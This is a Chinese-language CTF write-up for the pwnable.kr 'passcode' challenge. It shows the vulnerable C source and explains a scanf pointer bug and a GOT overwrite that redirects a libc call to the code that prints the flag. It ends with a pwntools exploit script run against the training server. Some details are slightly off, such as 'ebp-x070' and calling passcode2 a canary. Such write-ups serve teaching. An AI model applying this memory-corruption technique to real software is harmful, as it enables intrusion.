0x000打开环境
①查看源码:
1 #include 2 #include 3 4 void login(){ 5 int passcode1; 6 int passcode2; 7 8 printf("enter passcode1 : "); 9 scanf("%d", passcode1); 10 fflush(stdin); 11 12 // ha! mommy told me that 32bit is vulnerable to bruteforcing :) 13 printf("enter passcode2 : "); 14 scanf("%d", passcode2); 15 16 printf("checking...\n"); 17 if(passcode1==338150 && passcode2==13371337){ 18 printf("Login OK!\n"); 19 system("/bin/cat flag"); 20 } 21 else{ 22 printf("Login Failed!\n"); 23 exit(0); 24 } 25 } 26 27 void welcome(){ 28 char name[100]; 29 printf("enter you name : "); 30 scanf("%100s", name); 31 printf("Welcome %s!\n", name); 32 } 33 34 int main(){ 35 printf("Toddler‘s Secure Login System 1.0 beta.\n"); 36 37 welcome(); 38 login(); 39 40 // something after login... 41 printf("Now I can safely trust you that you have credential :)\n"); 42 return 0; 43 }
tips:
fflush(stdin)刷新标准输入缓冲区,把输入缓冲区里的东西丢弃[非标准]
fflush(stdout)刷新标准输出缓冲区,把输出缓冲区里的东西打印到标准输出设备上
②源码分析
从17行的”passcode1==338150 && passcode2==13371337 “,可以看出passcode1和passcode只要满足相应的条件就可以执行“system("/bin/cat flag");”但是仔细看看,9和14行发现参数没有&符号,说明这个是一个指针,不是一个地址,函数会从栈中获取4个字节,漏洞就在这里,
反编译passcode文件,打印login函数,
发现全程都没有入栈的操作,说明name和passcode1在同一个栈内,而passcode2是canary,不能动它,能动的就只有passcode1了,怎么才能执行system("/bin/cat flag");呢,看到[email protected]这个标识,可以试试got表覆写技术(个人理解就是存储函数地址的对照表,和plt表一 一对应)。看看got表:
可以利用的函数有printf,fflush,exit,因为在login函数中都有调用这三个函数,利用got表覆盖写成system函数的地址,那么只要这个函数被调用就可以得到flag。
0x001 漏洞的利用
思路已经很清晰了,现在就是找到name的地址和passcode1的地址,计算他们之间的距离;printf/fflush/exit的入口地址;和system函数的地址。
不难看出name的地址为ebp-x070
passcode1的地址为ebp-0x10。
name和passcode1相差96个字节,但是name开辟了100字节的空间,所以name后4个字节正好可以覆盖到passcode1指针的地址。这四个字节就写入printf/fflush/exit的入口地址,他们的入口地址可通过如下命令查看:
接着四个字节用system的地址覆盖got表的地址,system的地址在login函数中可以查看,地址为0x80485e3。这里覆盖got表的原理就是把passcode1的地址覆盖成fflush或者printf或者exit的地址,然后利用scanf函数把system的地址覆写过去。这样等调用fflush或者printf或者exit的就调用成了system。
0x002 payload构造
payload的构成96个任意字符,一个函数(printf/fflush/exit)的入口地址,system函数的地址
python脚本如下:
from pwn import * pwn_ssh=ssh(host=‘pwnable.kr‘,user=‘passcode‘,password=‘guest‘,port=2222) print (pwn_ssh.connected()) sh=pwn_ssh.process(executable="./passcode") print (sh.recv()) sh.sendline(‘A‘*96+‘\x04\xa0\x04\x08‘+‘134514135‘) print (sh.recvall())
原文地址:https://www.cnblogs.com/DennyT/p/11622413.html